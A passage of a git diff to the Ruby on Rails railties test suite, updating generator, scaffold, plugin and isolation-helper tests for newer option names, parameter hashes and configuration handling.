+    run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test"]
     assert_file "spec/dummy"
     assert_file "spec/dummy/config/application.rb"
     assert_no_file "test"
+    assert_no_file "test/test_helper.rb"
     assert_file '.gitignore' do |contents|
       assert_match(/spec\/dummy/, contents)
     end
@@ -270,14 +429,14 @@ class PluginGeneratorTest < Rails::Generators::TestCase
 
   def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
     FileUtils.cd(Rails.root)
-    run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"])
+    run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test"])
     assert_file ".gitignore" do |contents|
       assert_match(/spec\/dummy/, contents)
     end
   end
 
-  def test_skipping_test_unit
-    run_generator [destination_root, "--skip-test-unit"]
+  def test_skipping_test_files
+    run_generator [destination_root, "--skip-test"]
     assert_no_file "test"
     assert_file "bukkits.gemspec" do |contents|
       assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents)
@@ -292,8 +451,8 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     assert_no_file "bukkits.gemspec"
     assert_file "Gemfile" do |contents|
       assert_no_match('gemspec', contents)
-      assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
-      assert_match(/group :development do\n  gem "sqlite3"\nend/, contents)
+      assert_match(/gem 'rails', '~> #{Rails.version}'/, contents)
+      assert_match_sqlite3(contents)
       assert_no_match(/# gem "jquery-rails"/, contents)
     end
   end
@@ -303,18 +462,18 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     assert_no_file "bukkits.gemspec"
     assert_file "Gemfile" do |contents|
       assert_no_match('gemspec', contents)
-      assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
-      assert_match(/group :development do\n  gem "sqlite3"\nend/, contents)
+      assert_match(/gem 'rails', '~> #{Rails.version}'/, contents)
+      assert_match_sqlite3(contents)
     end
   end
 
   def test_creating_plugin_in_app_directory_adds_gemfile_entry
-    # simulate application existance
+    # simulate application existence
     gemfile_path = "#{Rails.root}/Gemfile"
     Object.const_set('APP_PATH', Rails.root)
     FileUtils.touch gemfile_path
 
-    run_generator [destination_root]
+    run_generator
 
     assert_file gemfile_path, /gem 'bukkits', path: 'tmp\/bukkits'/
   ensure
@@ -323,7 +482,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase
   end
 
   def test_skipping_gemfile_entry
-    # simulate application existance
+    # simulate application existence
     gemfile_path = "#{Rails.root}/Gemfile"
     Object.const_set('APP_PATH', Rails.root)
     FileUtils.touch gemfile_path
@@ -338,6 +497,52 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     FileUtils.rm gemfile_path
   end
 
+  def test_generating_controller_inside_mountable_engine
+    run_generator [destination_root, "--mountable"]
+
+    capture(:stdout) do
+      `#{destination_root}/bin/rails g controller admin/dashboard foo`
+    end
+
+    assert_file "config/routes.rb" do |contents|
+      assert_match(/namespace :admin/, contents)
+      assert_no_match(/namespace :bukkit/, contents)
+    end
+  end
+
+  def test_git_name_and_email_in_gemspec_file
+    name = `git config user.name`.chomp rescue "TODO: Write your name"
+    email = `git config user.email`.chomp rescue "TODO: Write your email address"
+
+    run_generator
+    assert_file "bukkits.gemspec" do |contents|
+      assert_match name, contents
+      assert_match email, contents
+    end
+  end
+
+  def test_git_name_in_license_file
+    name = `git config user.name`.chomp rescue "TODO: Write your name"
+
+    run_generator
+    assert_file "MIT-LICENSE" do |contents|
+      assert_match name, contents
+    end
+  end
+
+  def test_no_details_from_git_when_skip_git
+    name = "TODO: Write your name"
+    email = "TODO: Write your email address"
+
+    run_generator [destination_root, '--skip-git']
+    assert_file "MIT-LICENSE" do |contents|
+      assert_match name, contents
+    end
+    assert_file "bukkits.gemspec" do |contents|
+      assert_match name, contents
+      assert_match email, contents
+    end
+  end
 
 protected
   def action(*args, &block)
@@ -347,4 +552,12 @@ protected
   def default_files
     ::DEFAULT_PLUGIN_FILES
   end
+
+  def assert_match_sqlite3(contents)
+    if defined?(JRUBY_VERSION)
+      assert_match(/group :development do\n  gem 'activerecord-jdbcsqlite3-adapter'\nend/, contents)
+    else
+      assert_match(/group :development do\n  gem 'sqlite3'\nend/, contents)
+    end
+  end
 end
diff --git a/railties/test/generators/resource_generator_test.rb b/railties/test/generators/resource_generator_test.rb
index 3d4e694361..581d80d60e 100644
--- a/railties/test/generators/resource_generator_test.rb
+++ b/railties/test/generators/resource_generator_test.rb
@@ -36,7 +36,6 @@ class ResourceGeneratorTest < Rails::Generators::TestCase
     assert_file "test/controllers/accounts_controller_test.rb", /class AccountsControllerTest < ActionController::TestCase/
 
     assert_file "app/helpers/accounts_helper.rb", /module AccountsHelper/
-    assert_file "test/helpers/accounts_helper_test.rb", /class AccountsHelperTest < ActionView::TestCase/
   end
 
   def test_resource_controller_with_actions
@@ -63,19 +62,19 @@ class ResourceGeneratorTest < Rails::Generators::TestCase
     content = run_generator ["accounts".freeze]
     assert_file "app/models/account.rb", /class Account < ActiveRecord::Base/
     assert_file "test/models/account_test.rb", /class AccountTest/
-    assert_match(/Plural version of the model detected, using singularized version. Override with --force-plural./, content)
+    assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
   end
 
   def test_plural_names_can_be_forced
     content = run_generator ["accounts", "--force-plural"]
     assert_file "app/models/accounts.rb", /class Accounts < ActiveRecord::Base/
     assert_file "test/models/accounts_test.rb", /class AccountsTest/
-    assert_no_match(/Plural version of the model detected/, content)
+    assert_no_match(/\[WARNING\]/, content)
   end
 
   def test_mass_nouns_do_not_throw_warnings
     content = run_generator ["sheep".freeze]
-    assert_no_match(/Plural version of the model detected/, content)
+    assert_no_match(/\[WARNING\]/, content)
   end
 
   def test_route_is_removed_on_revoke
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
index 013cb78252..34e752cea1 100644
--- a/railties/test/generators/scaffold_controller_generator_test.rb
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -81,7 +81,6 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
   def test_helper_are_invoked_with_a_pluralized_name
     run_generator
     assert_file "app/helpers/users_helper.rb", /module UsersHelper/
-    assert_file "test/helpers/users_helper_test.rb", /class UsersHelperTest < ActionView::TestCase/
   end
 
   def test_views_are_generated
@@ -93,14 +92,22 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
     assert_no_file "app/views/layouts/users.html.erb"
   end
 
+  def test_index_page_have_notice
+    run_generator
+
+    %w(index show).each do |view|
+      assert_file "app/views/users/#{view}.html.erb", /notice/
+    end
+  end
+
   def test_functional_tests
     run_generator ["User", "name:string", "age:integer", "organization:references{polymorphic}"]
 
     assert_file "test/controllers/users_controller_test.rb" do |content|
       assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
       assert_match(/test "should get index"/, content)
-      assert_match(/post :create, user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \}/, content)
-      assert_match(/patch :update, id: @user, user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \}/, content)
+      assert_match(/post :create, params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content)
+      assert_match(/patch :update, params: \{ id: @user, user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content)
     end
   end
 
@@ -110,15 +117,14 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
     assert_file "test/controllers/users_controller_test.rb" do |content|
       assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
       assert_match(/test "should get index"/, content)
-      assert_match(/post :create, user: \{  \}/, content)
-      assert_match(/patch :update, id: @user, user: \{  \}/, content)
+      assert_match(/post :create, params: \{ user: \{  \} \}/, content)
+      assert_match(/patch :update, params: \{ id: @user, user: \{  \} \}/, content)
     end
   end
 
   def test_skip_helper_if_required
     run_generator ["User", "name:string", "age:integer", "--no-helper"]
     assert_no_file "app/helpers/users_helper.rb"
-    assert_no_file "test/helpers/users_helper_test.rb"
   end
 
   def test_skip_layout_if_required
@@ -160,10 +166,12 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
     Unknown::Generators.send :remove_const, :ActiveModel
   end
 
-  def test_new_hash_style
-    run_generator
-    assert_file "app/controllers/users_controller.rb" do |content|
-      assert_match(/render action: 'new'/, content)
+  def test_model_name_option
+    run_generator ["Admin::User", "--model-name=User"]
+    assert_file "app/controllers/admin/users_controller.rb" do |content|
+      assert_instance_method :index, content do |m|
+        assert_match("@users = User.all", m)
+      end
     end
   end
 end
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
index 524bbde2b7..ee06802874 100644
--- a/railties/test/generators/scaffold_generator_test.rb
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -58,19 +58,28 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
 
     assert_file "test/controllers/product_lines_controller_test.rb" do |test|
       assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, test)
-      assert_match(/post :create, product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \}/, test)
-      assert_match(/patch :update, id: @product_line, product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \}/, test)
+      assert_match(/post :create, params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
+      assert_match(/patch :update, params: \{ id: @product_line, product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
     end
 
     # Views
-    %w(index edit new show _form).each do |view|
+    assert_no_file "app/views/layouts/product_lines.html.erb"
+
+    %w(index show).each do |view|
       assert_file "app/views/product_lines/#{view}.html.erb"
     end
-    assert_no_file "app/views/layouts/product_lines.html.erb"
+
+    %w(edit new).each do |view|
+      assert_file "app/views/product_lines/#{view}.html.erb", /render 'form', product_line: @product_line/
+    end
+
+    assert_file "app/views/product_lines/_form.html.erb" do |test|
+      assert_match 'product_line', test
+      assert_no_match '@product_line', test
+    end
 
     # Helpers
     assert_file "app/helpers/product_lines_helper.rb"
-    assert_file "test/helpers/product_lines_helper_test.rb"
 
     # Assets
     assert_file "app/assets/stylesheets/scaffold.css"
@@ -84,8 +93,8 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
     assert_file "test/controllers/product_lines_controller_test.rb" do |content|
       assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, content)
       assert_match(/test "should get index"/, content)
-      assert_match(/post :create, product_line: \{  \}/, content)
-      assert_match(/patch :update, id: @product_line, product_line: \{  \}/, content)
+      assert_match(/post :create, params: \{ product_line: \{  \} \}/, content)
+      assert_match(/patch :update, params: \{ id: @product_line, product_line: \{  \} \}/, content)
     end
   end
 
@@ -114,7 +123,6 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
 
     # Helpers
     assert_no_file "app/helpers/product_lines_helper.rb"
-    assert_no_file "test/helpers/product_lines_helper_test.rb"
 
     # Assets
     assert_file "app/assets/stylesheets/scaffold.css", /:visited/
@@ -182,7 +190,6 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
 
     # Helpers
     assert_file "app/helpers/admin/roles_helper.rb"
-    assert_file "test/helpers/admin/roles_helper_test.rb"
 
     # Assets
     assert_file "app/assets/stylesheets/scaffold.css", /:visited/
@@ -216,7 +223,6 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
 
     # Helpers
     assert_no_file "app/helpers/admin/roles_helper.rb"
-    assert_no_file "test/helpers/admin/roles_helper_test.rb"
 
     # Assets
     assert_file "app/assets/stylesheets/scaffold.css"
@@ -239,6 +245,29 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
     assert_file "config/routes.rb", /\.routes\.draw do\s*\|map\|\s*$/
   end
 
+  def test_scaffold_generator_on_revoke_does_not_mutilate_routes
+    run_generator
+
+    route_path = File.expand_path("config/routes.rb", destination_root)
+    content = File.read(route_path)
+
+    # Remove all of the comments and blank lines from the routes file
+    content.gsub!(/^  \#.*\n/, '')
+    content.gsub!(/^\n/, '')
+
+    File.open(route_path, "wb") { |file| file.write(content) }
+    assert_file "config/routes.rb", /\.routes\.draw do\n  resources :product_lines\nend\n\z/
+
+    run_generator ["product_line"], :behavior => :revoke
+
+    assert_file "config/routes.rb", /\.routes\.draw do\nend\n\z/
+  end
+
+  def test_scaffold_generator_ignores_commented_routes
+    run_generator ["product"]
+    assert_file "config/routes.rb", /\.routes\.draw do\n  resources :products\n/
+  end
+
   def test_scaffold_generator_no_assets_with_switch_no_assets
     run_generator [ "posts", "--no-assets" ]
     assert_no_file "app/assets/stylesheets/scaffold.css"
@@ -253,13 +282,27 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
     assert_no_file "app/assets/stylesheets/posts.css"
   end
 
-  def test_scaffold_generator_no_assets_with_switch_resource_route_false
+  def test_scaffold_generator_with_switch_resource_route_false
     run_generator [ "posts", "--resource-route=false" ]
     assert_file "config/routes.rb" do |route|
       assert_no_match(/resources :posts$/, route)
     end
   end
 
+  def test_scaffold_generator_no_helper_with_switch_no_helper
+    output = run_generator [ "posts", "--no-helper" ]
+
+    assert_no_match(/error/, output)
+    assert_no_file "app/helpers/posts_helper.rb"
+  end
+
+  def test_scaffold_generator_no_helper_with_switch_helper_false
+    output = run_generator [ "posts", "--helper=false" ]
+
+    assert_no_match(/error/, output)
+    assert_no_file "app/helpers/posts_helper.rb"
+  end
+
   def test_scaffold_generator_no_stylesheets
     run_generator [ "posts", "--no-stylesheets" ]
     assert_no_file "app/assets/stylesheets/scaffold.css"
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index 369a0ee46c..68f07f29d7 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -26,11 +26,17 @@ module SharedGeneratorTests
     default_files.each { |path| assert_file path }
   end
 
-  def test_generation_runs_bundle_install
-    generator([destination_root]).expects(:bundle_command).with('install').once
+  def assert_generates_with_bundler(options = {})
+    generator([destination_root], options)
+    generator.expects(:bundle_command).with('install').once
+    generator.stubs(:bundle_command).with('exec spring binstub --all')
     quietly { generator.invoke_all }
   end
 
+  def test_generation_runs_bundle_install
+    assert_generates_with_bundler
+  end
+
   def test_plugin_new_generate_pretend
     run_generator ["testapp", "--pretend"]
     default_files.each{ |path| assert_no_file File.join("testapp",path) }
@@ -41,16 +47,11 @@ module SharedGeneratorTests
     assert_match(/Invalid value for \-\-database option/, content)
   end
 
-  def test_test_unit_is_skipped_if_required
-    run_generator [destination_root, "--skip-test-unit"]
+  def test_test_files_are_skipped_if_required
+    run_generator [destination_root, "--skip-test"]
     assert_no_file "test"
   end
 
-  def test_options_before_application_name_raises_an_error
-    content = capture(:stderr){ run_generator(["--pretend", destination_root]) }
-    assert_match(/Options should be given after the \w+ name. For details run: rails( plugin new)? --help\n/, content)
-  end
-
   def test_name_collision_raises_an_error
     reserved_words = %w[application destroy plugin runner test]
     reserved_words.each do |reserved|
@@ -77,9 +78,12 @@ module SharedGeneratorTests
   end
 
   def test_template_raises_an_error_with_invalid_path
-    content = capture(:stderr){ run_generator([destination_root, "-m", "non/existent/path"]) }
-    assert_match(/The template \[.*\] could not be loaded/, content)
-    assert_match(/non\/existent\/path/, content)
+    quietly do
+      content = capture(:stderr){ run_generator([destination_root, "-m", "non/existent/path"]) }
+
+      assert_match(/The template \[.*\] could not be loaded/, content)
+      assert_match(/non\/existent\/path/, content)
+    end
   end
 
   def test_template_is_executed_when_supplied
@@ -88,7 +92,7 @@ module SharedGeneratorTests
     template.instance_eval "def read; self; end" # Make the string respond to read
 
     generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
-    assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
+    quietly { assert_match(/It works!/, capture(:stdout) { generator.invoke_all }) }
   end
 
   def test_template_is_executed_when_supplied_an_https_path
@@ -97,19 +101,17 @@ module SharedGeneratorTests
     template.instance_eval "def read; self; end" # Make the string respond to read
 
     generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
-    assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
+    quietly { assert_match(/It works!/, capture(:stdout) { generator.invoke_all }) }
   end
 
   def test_dev_option
-    generator([destination_root], dev: true).expects(:bundle_command).with('install').once
-    quietly { generator.invoke_all }
+    assert_generates_with_bundler dev: true
     rails_path = File.expand_path('../../..', Rails.root)
     assert_file 'Gemfile', /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
   end
 
   def test_edge_option
-    generator([destination_root], edge: true).expects(:bundle_command).with('install').once
-    quietly { generator.invoke_all }
+    assert_generates_with_bundler edge: true
     assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
   end
 
diff --git a/railties/test/generators/task_generator_test.rb b/railties/test/generators/task_generator_test.rb
index 9399be9510..d5bd44b9db 100644
--- a/railties/test/generators/task_generator_test.rb
+++ b/railties/test/generators/task_generator_test.rb
@@ -7,6 +7,18 @@ class TaskGeneratorTest < Rails::Generators::TestCase
 
   def test_task_is_created
     run_generator
-    assert_file "lib/tasks/feeds.rake", /namespace :feeds/
+    assert_file "lib/tasks/feeds.rake" do |content|
+      assert_match(/namespace :feeds/, content)
+      assert_match(/task foo:/, content)
+      assert_match(/task bar:/, content)
+    end
+  end
+
+  def test_task_on_revoke
+    task_path = 'lib/tasks/feeds.rake'
+    run_generator
+    assert_file task_path
+    run_generator ['feeds'], behavior: :revoke
+    assert_no_file task_path
   end
 end
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
index 5130b285a9..127e059bf1 100644
--- a/railties/test/generators_test.rb
+++ b/railties/test/generators_test.rb
@@ -1,6 +1,7 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/model/model_generator'
 require 'rails/generators/test_unit/model/model_generator'
+require 'mocha/setup' # FIXME: stop using mocha
 
 class GeneratorsTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
@@ -15,14 +16,22 @@ class GeneratorsTest < Rails::Generators::TestCase
   end
 
   def test_simple_invoke
-    assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+    assert File.exist?(File.join(@path, 'generators', 'model_generator.rb'))
     TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
     Rails::Generators.invoke("test_unit:model", ["Account"])
   end
 
   def test_invoke_when_generator_is_not_found
-    output = capture(:stdout){ Rails::Generators.invoke :unknown }
-    assert_equal "Could not find generator unknown.\n", output
+    name = :unknown
+    output = capture(:stdout){ Rails::Generators.invoke name }
+    assert_match "Could not find generator '#{name}'", output
+    assert_match "`rails generate --help`", output
+  end
+
+  def test_generator_suggestions
+    name = :migrationz
+    output = capture(:stdout){ Rails::Generators.invoke name }
+    assert_match "Maybe you meant 'migration'", output
   end
 
   def test_help_when_a_generator_with_required_arguments_is_invoked_without_arguments
@@ -31,7 +40,7 @@ class GeneratorsTest < Rails::Generators::TestCase
   end
 
   def test_should_give_higher_preference_to_rails_generators
-    assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+    assert File.exist?(File.join(@path, 'generators', 'model_generator.rb'))
     Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {})
     warnings = capture(:stderr){ Rails::Generators.invoke :model, ["Account"] }
     assert warnings.empty?
@@ -143,6 +152,8 @@ class GeneratorsTest < Rails::Generators::TestCase
     klass = Rails::Generators.find_by_namespace(:plugin, :remarkable)
     assert klass
     assert_equal "test_unit:plugin", klass.namespace
+  ensure
+    Rails::Generators.fallbacks.delete(:remarkable)
   end
 
   def test_fallbacks_for_generators_on_find_by_namespace_with_context
@@ -150,18 +161,26 @@ class GeneratorsTest < Rails::Generators::TestCase
     klass = Rails::Generators.find_by_namespace(:remarkable, :rails, :plugin)
     assert klass
     assert_equal "test_unit:plugin", klass.namespace
+  ensure
+    Rails::Generators.fallbacks.delete(:remarkable)
   end
 
   def test_fallbacks_for_generators_on_invoke
     Rails::Generators.fallbacks[:shoulda] = :test_unit
     TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
     Rails::Generators.invoke "shoulda:model", ["Account"]
+  ensure
+    Rails::Generators.fallbacks.delete(:shoulda)
   end
 
   def test_nested_fallbacks_for_generators
+    Rails::Generators.fallbacks[:shoulda] = :test_unit
     Rails::Generators.fallbacks[:super_shoulda] = :shoulda
     TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
     Rails::Generators.invoke "super_shoulda:model", ["Account"]
+  ensure
+    Rails::Generators.fallbacks.delete(:shoulda)
+    Rails::Generators.fallbacks.delete(:super_shoulda)
   end
 
   def test_developer_options_are_overwritten_by_user_options
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 913e2b5e29..5be321ecf2 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -9,7 +9,9 @@
 require 'fileutils'
 
 require 'bundler/setup' unless defined?(Bundler)
+require 'active_support'
 require 'active_support/testing/autorun'
+require 'active_support/testing/stream'
 require 'active_support/test_case'
 
 RAILS_FRAMEWORK_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../../..")
@@ -68,7 +70,8 @@ module TestHelpers
 
     def assert_welcome(resp)
       assert_equal 200, resp[0]
-      assert resp[1]["Content-Type"] = "text/html"
+      assert_match 'text/html', resp[1]["Content-Type"]
+      assert_match 'charset=utf-8', resp[1]["Content-Type"]
       assert extract_body(resp).match(/Welcome aboard/)
     end
 
@@ -93,7 +96,8 @@ module TestHelpers
     # Build an application by invoking the generator and going through the whole stack.
     def build_app(options = {})
       @prev_rails_env = ENV['RAILS_ENV']
-      ENV['RAILS_ENV'] = 'development'
+      ENV['RAILS_ENV']       =   "development"
+      ENV['SECRET_KEY_BASE'] ||= SecureRandom.hex(16)
 
       FileUtils.rm_rf(app_path)
       FileUtils.cp_r(app_template_path, app_path)
@@ -117,12 +121,31 @@ module TestHelpers
         end
       end
 
+      File.open("#{app_path}/config/database.yml", "w") do |f|
+        f.puts <<-YAML
+        default: &default
+          adapter: sqlite3
+          pool: 5
+          timeout: 5000
+        development:
+          <<: *default
+          database: db/development.sqlite3
+        test:
+          <<: *default
+          database: db/test.sqlite3
+        production:
+          <<: *default
+          database: db/production.sqlite3
+        YAML
+      end
+
       add_to_config <<-RUBY
         config.eager_load = false
-        config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
         config.session_store :cookie_store, key: "_myapp_session"
         config.active_support.deprecation = :log
+        config.active_support.test_order = :random
         config.action_controller.allow_forgery_protection = false
+        config.log_level = :info
       RUBY
     end
 
@@ -139,9 +162,11 @@ module TestHelpers
 
       app = Class.new(Rails::Application)
       app.config.eager_load = false
-      app.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+      app.secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
       app.config.session_store :cookie_store, key: "_myapp_session"
       app.config.active_support.deprecation = :log
+      app.config.active_support.test_order = :random
+      app.config.log_level = :info
 
       yield app if block_given?
       app.initialize!
@@ -211,6 +236,15 @@ module TestHelpers
       end
     end
 
+    def add_to_top_of_config(str)
+      environment = File.read("#{app_path}/config/application.rb")
+      if environment =~ /(Rails::Application\s*)/
+        File.open("#{app_path}/config/application.rb", 'w') do |f|
+          f.puts $` + $1 + "\n#{str}\n" + $'
+        end
+      end
+    end
+
     def add_to_config(str)
       environment = File.read("#{app_path}/config/application.rb")
       if environment =~ /(\n\s*end\s*end\s*)\Z/
@@ -258,8 +292,12 @@ module TestHelpers
     end
 
     def use_frameworks(arr)
-      to_remove =  [:actionmailer,
-                    :activerecord] - arr
+      to_remove = [:actionmailer, :activerecord] - arr
+
+      if to_remove.include?(:activerecord)
+        remove_from_config 'config.active_record.*'
+      end
+
       $:.reject! {|path| path =~ %r'/(#{to_remove.join('|')})/' }
     end
 
@@ -273,6 +311,10 @@ class ActiveSupport::TestCase
   include TestHelpers::Paths
   include TestHelpers::Rack
   include TestHelpers::Generation
+  include ActiveSupport::Testing::Stream
+
+  self.test_order = :sorted
+
 end
 
 # Create a scope and build a fixture rails app
diff --git a/railties/test/path_generation_test.rb b/railties/test/path_generation_test.rb
new file mode 100644
index 0000000000..e3dfcdfb7d
--- /dev/null
+++ b/railties/test/path_generation_test.rb
@@ -0,0 +1,87 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object/with_options'
+require 'active_support/core_ext/object/json'
+require 'rails'
+require 'rails/application'
+
+ROUTING = ActionDispatch::Routing
+
+class PathGenerationTest < ActiveSupport::TestCase
+  attr_reader :app
+
+  class TestSet < ROUTING::RouteSet
+    def initialize(block)
+      @block = block
+      super()
+    end
+
+    class Dispatcher < ROUTING::RouteSet::Dispatcher
+      def initialize(defaults, set, block)
+        super(defaults)
+        @block = block
+        @set = set
+      end
+
+      def controller_reference(controller_param)
+        block = @block
+        set = @set
+        Class.new(ActionController::Base) {
+          include set.url_helpers
+          define_method(:process) { |name| block.call(self) }
+          def to_a; [200, {}, []]; end
+        }
+      end
+    end
+
+    def dispatcher defaults
+      TestSet::Dispatcher.new defaults, self, @block
+    end
+  end
+
+  def send_request(uri_or_host, method, path, script_name = nil)
+    host = uri_or_host.host unless path
+    path ||= uri_or_host.path
+
+    params = {'PATH_INFO'      => path,
+              'REQUEST_METHOD' => method,
+              'HTTP_HOST'      => host }
+
+    params['SCRIPT_NAME'] = script_name if script_name
+
+    status, headers, body = app.call(params)
+    new_body = []
+    body.each { |part| new_body << part }
+    body.close if body.respond_to? :close
+    [status, headers, new_body]
+  end
+
+  def test_original_script_name
+    original_logger = Rails.logger
+    Rails.logger    = Logger.new nil
+
+    app = Class.new(Rails::Application) {
+      attr_accessor :controller
+      def initialize
+        super
+        app = self
+        @routes = TestSet.new ->(c) { app.controller = c }
+        secrets.secret_key_base = "foo"
+        secrets.secret_token = "foo"
+      end
+      def app; routes; end
+    }
+
+    @app = app
+    app.routes.draw { resource :blogs }
+
+    url = URI("http://example.org/blogs")
+
+    send_request(url, 'GET', nil, '/FOO')
+    assert_equal '/FOO/blogs', app.instance.controller.blogs_path
+
+    send_request(url, 'GET', nil)
+    assert_equal '/blogs', app.instance.controller.blogs_path
+  ensure
+    Rails.logger = original_logger
+  end
+end
diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb
index 12f18b9dbf..1aeb9ec339 100644
--- a/railties/test/paths_test.rb
+++ b/railties/test/paths_test.rb
@@ -1,9 +1,10 @@
 require 'abstract_unit'
 require 'rails/paths'
+require 'mocha/setup' # FIXME: stop using mocha
 
 class PathsTest < ActiveSupport::TestCase
   def setup
-    File.stubs(:exists?).returns(true)
+    File.stubs(:exist?).returns(true)
     @root = Rails::Paths::Root.new("/foo/bar")
   end
 
@@ -180,7 +181,7 @@ class PathsTest < ActiveSupport::TestCase
     assert_equal 1, @root.eager_load.select {|p| p == @root["app"].expanded.first }.size
   end
 
-  test "paths added to a eager_load path should be added to the eager_load collection" do
+  test "paths added to an eager_load path should be added to the eager_load collection" do
     @root["app"] = "/app"
     @root["app"].eager_load!
     @root["app"] << "/app2"
diff --git a/railties/test/rack_logger_test.rb b/railties/test/rack_logger_test.rb
index 6ebd47fff9..fcc79b57fb 100644
--- a/railties/test/rack_logger_test.rb
+++ b/railties/test/rack_logger_test.rb
@@ -39,11 +39,11 @@ module Rails
       def setup
         @subscriber = Subscriber.new
         @notifier = ActiveSupport::Notifications.notifier
-        notifier.subscribe 'request.action_dispatch', subscriber
+        @subscription = notifier.subscribe 'request.action_dispatch', subscriber
       end
 
       def teardown
-        notifier.unsubscribe subscriber
+        notifier.unsubscribe @subscription
       end
 
       def test_notification
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
index e45a5228a1..25b0e761cb 100644
--- a/railties/test/rails_info_controller_test.rb
+++ b/railties/test/rails_info_controller_test.rb
@@ -1,7 +1,5 @@
 require 'abstract_unit'
 
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-
 module ActionController
   class Base
     include ActionController::Testing
@@ -16,26 +14,26 @@ class InfoControllerTest < ActionController::TestCase
       get '/rails/info/properties' => "rails/info#properties"
       get '/rails/info/routes'     => "rails/info#routes"
     end
-    @controller.stubs(:local_request? => true)
     @routes = Rails.application.routes
 
-    Rails::InfoController.send(:include, @routes.url_helpers)
+    Rails::InfoController.include(@routes.url_helpers)
+
+    @request.env["REMOTE_ADDR"] = "127.0.0.1"
   end
 
   test "info controller does not allow remote requests" do
-    @controller.stubs(local_request?: false)
+    @request.env["REMOTE_ADDR"] = "example.org"
     get :properties
     assert_response :forbidden
   end
 
   test "info controller renders an error message when request was forbidden" do
-    @controller.stubs(local_request?: false)
+    @request.env["REMOTE_ADDR"] = "example.org"
     get :properties
     assert_select 'p'
   end
 
   test "info controller allows requests when all requests are considered local" do
-    @controller.stubs(local_request?: true)
     get :properties
     assert_response :success
   end
diff --git a/railties/test/rails_info_test.rb b/railties/test/rails_info_test.rb
index 44a5fd1904..92e4af25b5 100644
--- a/railties/test/rails_info_test.rb
+++ b/railties/test/rails_info_test.rb
@@ -38,21 +38,10 @@ class InfoTest < ActiveSupport::TestCase
   end
 
   def test_rails_version
-    assert_property 'Rails version', 
+    assert_property 'Rails version',
       File.read(File.realpath('../../../RAILS_VERSION', __FILE__)).chomp
   end
 
-  def test_framework_version
